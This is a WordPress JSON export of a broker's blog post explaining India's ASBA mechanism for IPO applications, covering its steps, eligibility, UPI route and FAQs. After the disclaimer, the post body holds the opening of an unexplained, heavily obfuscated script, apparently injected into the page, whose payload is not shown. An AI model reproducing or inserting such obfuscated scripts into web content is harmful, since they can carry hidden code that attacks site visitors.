{"id":2082,"date":"2025-02-11T13:04:35","date_gmt":"2025-02-11T13:04:35","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=2082"},"modified":"2025-02-11T13:05:35","modified_gmt":"2025-02-11T13:05:35","slug":"what-is-asba","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/what-is-asba\/","title":{"rendered":"Why Every Investor is Using ASBA for IPOs \u2013 And You Should Too!"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#What_is_ASBA\" >What is ASBA?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#What_is_ASBA_Account\" >What is ASBA Account?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#How_Does_ASBA_Work\" >How Does ASBA Work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Key_Features_of_ASBA_Application_Supported_by_Blocked_Amount\" >Key Features of ASBA (Application Supported by Blocked Amount)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Application_Methods_for_ASBA\" >Application Methods for ASBA<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#IPO_Applications_Through_ASBA\" >IPO Applications Through ASBA<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Applying_for_an_IPO_Through_ASBA-_Online\" >Applying for an IPO Through ASBA- Online<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Applying_for_an_IPO_Through_ASBA_%E2%80%93_Offline\" >Applying for an IPO Through ASBA &#8211; Offline<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Eligibility_for_ASBA\" >Eligibility for ASBA<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#ASBA_IPO_Application_Form\" >ASBA IPO Application Form<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Benefits_of_ASBA_Why_Every_Investor_Should_Use_It_for_IPOs\" >Benefits of ASBA: Why Every Investor Should Use It for IPOs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#How_is_UPI-Based_IPO_Application_Different_from_ASBA_via_Intermediaries\" >How is UPI-Based IPO Application Different from ASBA via Intermediaries?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#UPI_ASBA_Route\" >UPI ASBA Route<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/#ASBA_Meaning_FAQs_on_ASBA_for_Investors\" >ASBA Meaning: FAQs on ASBA for Investors<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/ipo\/\">IPO<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Why Every Investor is Using ASBA for IPOs \u2013 And You Should Too!<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Many of us hesitate to apply for IPOs because we often fear losing the liquidity of our money while waiting for allotments. To enhance efficiency in this process, SEBI introduced ASBA. Instead of deducting money upfront, the ASBA account blocks the required amount in your bank account. This way, your money remains in your account, earning interest, and is only debited if shares are allotted to you.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This simple yet powerful system makes IPO investing safer and more efficient for traders and investors in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s everything you need to know about how ASBA in IPO works and how you can apply for your next IPO without worrying about your money!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-is-asba\"><span class=\"ez-toc-section\" id=\"What_is_ASBA\"><\/span>What is ASBA?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ASBA full form is Application Supported by Blocked Amount. It allows investors to apply for Initial Public Offerings (IPOs) and Follow-on Public Offerings (FPOs) by blocking the required amount in their bank accounts instead of transferring it upfront. The amount remains in the account and continues to earn interest until the allotment process is completed. With this, only the final allotted amount is debited, and any excess amount is unblocked.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SEBI has made ASBA mandatory for all retail investors <\/strong>applying for public issues.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-what-is-asba-account\"><span class=\"ez-toc-section\" id=\"What_is_ASBA_Account\"><\/span>What is ASBA Account?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">An ASBA account is a regular bank account that allows investors to apply for IPOs without transferring money in advance. Banks designated as Self Certified Syndicate Banks (SCSBs) provide ASBA services. This account ensures that funds remain blocked for IPO applications without affecting your liquidity.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-how-does-asba-work\"><span class=\"ez-toc-section\" id=\"How_Does_ASBA_Work\"><\/span>How Does ASBA Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here is a simple process with which ASBA allows investors to apply for IPOs or rights issues:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>The investor applies for shares through ASBA.<\/li>\n\n\n\n<li>The bank blocks the application amount in their account.<\/li>\n\n\n\n<li>If shares are allotted, <strong>only the required amount<\/strong> is debited, and the rest is released.<\/li>\n\n\n\n<li>If no shares are allotted, <strong>the entire blocked amount is freed up<\/strong>, eliminating the need for refunds.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This process makes IPO investing simpler, faster, and more efficient compared to traditional methods.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-key-features-of-asba-application-supported-by-blocked-amount\"><span class=\"ez-toc-section\" id=\"Key_Features_of_ASBA_Application_Supported_by_Blocked_Amount\"><\/span>Key Features of ASBA (Application Supported by Blocked Amount)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ASBA promotes efficiency and safety in IPO applications.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Investors can apply for an<strong> IPO online or offline<\/strong> using ASBA.<\/li>\n\n\n\n<li>The application amount isn\u2019t deducted immediately. Instead, your bank blocks the required funds.<\/li>\n\n\n\n<li>You get to <strong>earn interest on the blocked amount<\/strong> until it is debited if shares are allotted.<\/li>\n\n\n\n<li>If the investor doesn\u2019t get full allotment, the remaining balance is released after allotment.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-application-methods-for-asba\"><span class=\"ez-toc-section\" id=\"Application_Methods_for_ASBA\"><\/span>Application Methods for ASBA<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can apply for IPOs using ASBA through multiple channels:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Bank Branches<\/strong>: Physical submission at an SCSB branch.<\/li>\n\n\n\n<li><strong>Internet Banking<\/strong>: Many banks offer online ASBA applications.<\/li>\n\n\n\n<li><strong>Mobile Applications<\/strong>: Some banks like PNB (PNB One) and <strong>financial platforms<\/strong> provide mobile-based ASBA services.<\/li>\n\n\n\n<li><strong>BSE\/NSE Websites<\/strong>: IPO applications can be made through stock exchange portals.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-ipo-applications-through-asba\"><span class=\"ez-toc-section\" id=\"IPO_Applications_Through_ASBA\"><\/span>IPO Applications Through ASBA<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ASBA is widely used in IPO applications, allowing retail and institutional investors to bid for shares efficiently.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-applying-for-an-ipo-through-asba-online\"><span class=\"ez-toc-section\" id=\"Applying_for_an_IPO_Through_ASBA-_Online\"><\/span>Applying for an IPO Through ASBA- Online<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">You can apply for an IPO online using ASBA through your bank\u2019s net banking services.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Steps to Apply for an IPO via ASBA Online:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Log in to your net banking account that offers ASBA services.<\/li>\n\n\n\n<li>Go to the Investments section and search for the IPO option.<\/li>\n\n\n\n<li>Select the IPO you want to apply for.<\/li>\n\n\n\n<li>Next, you need to enter details like the applicant&#8217;s name, PAN number, and Demat account details.<\/li>\n\n\n\n<li>Fill in the bid quantity and price as per your preference.<\/li>\n\n\n\n<li>Submit the IPO application.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Here are some additional things you need to know about Applications Supported by Blocked Amounts:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>When <strong>applying for the first time<\/strong>, you must enter details like name, PAN, and DP (Depository Participant) details. After that, only bid details are needed for future applications.<\/li>\n\n\n\n<li>Some banks may ask for <strong>an OTP to verify <\/strong>and complete the process.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-applying-for-an-ipo-through-asba-offline\"><span class=\"ez-toc-section\" id=\"Applying_for_an_IPO_Through_ASBA_%E2%80%93_Offline\"><\/span>Applying for an IPO Through ASBA &#8211; Offline<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">With ASBA, investors can also apply through their bank account.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Investors must fill out the physical ASBA form, which is available at designated bank branches (SCSBs). The form requires details like name, PAN number, demat account number, bid quantity, bid price, and other relevant information.<\/li>\n\n\n\n<li>The completed form must be submitted to the bank branch along with an instruction to block the required amount in the account.<\/li>\n\n\n\n<li>The bank then uploads the application details onto the bidding platform.<\/li>\n\n\n\n<li>Investors must ensure all details are correctly filled in, as any mistakes may lead to rejection.<br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note- <\/strong>Some banks (SCSBs) also allow investors to apply online if they offer electronic ASBA facilities.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-eligibility-for-asba\"><span class=\"ez-toc-section\" id=\"Eligibility_for_ASBA\"><\/span>Eligibility for ASBA<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">To use ASBA, an investor must:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Be an <strong>Indian resident<\/strong> with a <strong>demat account<\/strong>.<\/li>\n\n\n\n<li>Have a <strong>bank account with an SCSB<\/strong>.<\/li>\n\n\n\n<li>Apply for an IPO through <strong>retail, non-institutional, or QIB (Qualified Institutional Buyer) categories<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-asba-ipo-application-form\"><span class=\"ez-toc-section\" id=\"ASBA_IPO_Application_Form\"><\/span>ASBA IPO Application Form<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Investors can apply for an IPO offline by using the ASBA application form, which can be downloaded from the NSE\/BSE website.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Download Links:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/ibbseforms.bseindia.com\/ASBAFORMS\/BlankForms_New.aspx?ipo=2465\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">ASBA IPO Form \u2013 BSE<\/mark><\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/ipoforms.nseindia.com\/issueforms\/html\/index.jsp\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">ASBA IPO Form \u2013 NSE<\/mark><\/a><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"10-benefits-of-asba-why-every-investor-should-use-it-for-ipos\"><span class=\"ez-toc-section\" id=\"Benefits_of_ASBA_Why_Every_Investor_Should_Use_It_for_IPOs\"><\/span>Benefits of ASBA: Why Every Investor Should Use It for IPOs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Why is ASBA a Smart Choice for IPO Applications?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us see!<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>ASBA simplifies and secures IPO and rights issue applications by blocking funds instead of debiting them immediately.<\/li>\n\n\n\n<li>Money is blocked, not debited immediately, ensuring better liquidity.<\/li>\n\n\n\n<li>Your funds stay in your account and continue earning interest until allotment.<\/li>\n\n\n\n<li>The required amount is blocked for a shorter period, which improves flexibility.<\/li>\n\n\n\n<li>You can lock in the offer price early and increase your chances of allotment.<\/li>\n\n\n\n<li>If no allotment is made, funds are automatically unblocked.<\/li>\n\n\n\n<li>ASBA process reduces the risk of fund misuse or refund delays.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/open-an-account\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Enjoy zero brokerage on IPOs and a free Demat account. Start now!<\/mark><\/a><a href=\"https:\/\/shoonya.com\/open-an-account\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">\u00a0<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-how-is-upi-based-ipo-application-different-from-asba-via-intermediaries-\"><span class=\"ez-toc-section\" id=\"How_is_UPI-Based_IPO_Application_Different_from_ASBA_via_Intermediaries\"><\/span><strong>How is UPI-Based IPO Application Different from ASBA via Intermediaries?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><br><\/strong>UPI simplifies the IPO application process by making it completely online. Unlike traditional ASBA through banks and intermediaries, UPI allows investors to:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Create a UPI ID and PIN using any UPI-enabled mobile app.<\/li>\n\n\n\n<li>Use the UPI ID to block funds for the IPO application.<\/li>\n\n\n\n<li>Accept the fund-blocking request by entering the UPI PIN in the mobile app.<\/li>\n\n\n\n<li>If allotted, funds are automatically transferred to the IPO Escrow Bank.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-upi-asba-route-\"><span class=\"ez-toc-section\" id=\"UPI_ASBA_Route\"><\/span><strong>UPI ASBA Route<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI has introduced UPI-based ASBA for retail investors.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The UPI ASBA (Applications Supported by Blocked Amount) route is a streamlined process for retail investors to apply for Initial Public Offerings (IPOs) using their UPI ID. This method allows investors to block the application amount in their bank account via UPI without the funds being debited until the shares are allotted.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Applications between \u20b92 lakhs and \u20b95 lakhs are categorised as High Net-worth Individual (HNI) applications. Individual investors with application amounts up to \u20b95 lakhs can apply through the UPI ASBA route.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, ASBA should be used for any amount beyond that!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-conclusion-\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ASBA is a secure, efficient, and SEBI-approved method for applying to IPOs. It benefits investors with flexibility, interest earnings, and easy refunds. With multiple banks offering ASBA services and the introduction of UPI ASBA, IPO applications have a convenient investment choice!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"14-asba-meaning-faqs-on-asba-for-investors\"><span class=\"ez-toc-section\" id=\"ASBA_Meaning_FAQs_on_ASBA_for_Investors\"><\/span>ASBA Meaning: FAQs on ASBA for Investors<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1739278198229\"><strong class=\"schema-faq-question\"><strong>Who can apply through the ASBA facility?<\/strong><\/strong> <p class=\"schema-faq-answer\">In public issues and rights issues, all investors have to mandatorily apply through ASBA.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278199083\"><strong class=\"schema-faq-question\"><strong>What does ASBA stands for in trading?<\/strong><\/strong> <p class=\"schema-faq-answer\">ASBA (Application Supported by Blocked Amount) allows traders to block funds for secondary market trading, i.e., in cash segments, without transferring money upfront to trading members.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278358629\"><strong class=\"schema-faq-question\"><strong>Do I have to submit ASBA physically?<\/strong><\/strong> <p class=\"schema-faq-answer\">No, you don\u2019t have to. You can either fill out a physical ASBA form from your bank (SCSB) and submit it there or apply online through internet banking or UPI (if your bank offers these options).<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278359516\"><strong class=\"schema-faq-question\"><strong>Is the issuer required to provide ASBA facility for all issues?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, for all Initial Public Offerings (IPOs), Follow-on Public Offerings (FPOs), and Rights Issues, the issuer must provide ASBA as the only payment method.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278394941\"><strong class=\"schema-faq-question\"><strong>Can I withdraw my ASBA bids? If yes, how?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, retail investors can withdraw their ASBA bids until the issue closes. To do this, you must visit the same bank where you submitted your ASBA and request an ASBA withdrawal with a signed letter mentioning your application number and TRS number (if available). However, non-retail investors like Qualified Institutional Buyers and Non-Institutional Investors cannot withdraw their bids at any time.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278395845\"><strong class=\"schema-faq-question\"><strong>Which trading segment can new clients access through ASBA?<\/strong><\/strong> <p class=\"schema-faq-answer\">New clients can trade only in the CM (Cash Market) segment. Other segments aren&#8217;t available for them.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278430284\"><strong class=\"schema-faq-question\"><strong>How can new clients place orders through ASBA?<\/strong><\/strong> <p class=\"schema-faq-answer\">All orders must go through the BLOCK system\u2014no other method is allowed.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278443790\"><strong class=\"schema-faq-question\"><strong>Who can enable ASBA functionality?<\/strong><\/strong> <p class=\"schema-faq-answer\">Both new and existing clients can enable ASBA, but some rules and restrictions apply.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278464679\"><strong class=\"schema-faq-question\"><strong>Which trading segment is available for existing clients?<\/strong><\/strong> <p class=\"schema-faq-answer\">Existing clients can trade only in the CM segment through ASBA, while other segments stay blocked.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278483359\"><strong class=\"schema-faq-question\"><strong>Is DDPI compliance mandatory for new clients?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, new clients must enable DDPI (Demat Debit and Pledge Instruction) before trading.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278500665\"><strong class=\"schema-faq-question\"><strong>When will the settled balance be released for existing clients?<\/strong><\/strong> <p class=\"schema-faq-answer\">The settled balance will be available one day before the trade date, so plan accordingly.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1739278512919\"><strong class=\"schema-faq-question\"><strong>Can existing ASBA clients opt for monthly or quarterly fund settlements?<\/strong><\/strong> <p class=\"schema-faq-answer\">No, ASBA clients can\u2019t choose monthly or quarterly settlements\u2014only standard ones apply.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.sebi.gov.in\/sebi_data\/commondocs\/asbaprocess1_p.pdf\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Sebi<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\"><strong>Disclaimer<\/strong><\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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To enhance efficiency in this process, SEBI introduced ASBA. Instead of deducting money upfront, the ASBA account blocks the required amount in your bank account. This way, your money remains in your account, &hellip; <a href=\"https:\/\/shoonya.com\/blog\/what-is-asba\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Why Every Investor is Using ASBA for IPOs \u2013 And You Should Too!&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":11354,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[7,11],"tags":[861,1201,6698,2231,6700,6702,864,6703,6704,863,6699,6701],"class_list":["post-2082","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ipo","category-personal-finance","tag-applications-supported-by-blocked-amount","tag-asba","tag-asba-full-form","tag-asba-in-ipo","tag-asba-meaning","tag-asba-means","tag-asba-payment-option","tag-asba-stands-for","tag-features-of-asba","tag-main-features-of-asba","tag-what-is-asba","tag-what-is-asba-account"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ASBA Full Form, Features, Benefits, and Application Process<\/title>\n<meta name=\"description\" content=\"ASBA lets you apply for IPOs without paying upfront. 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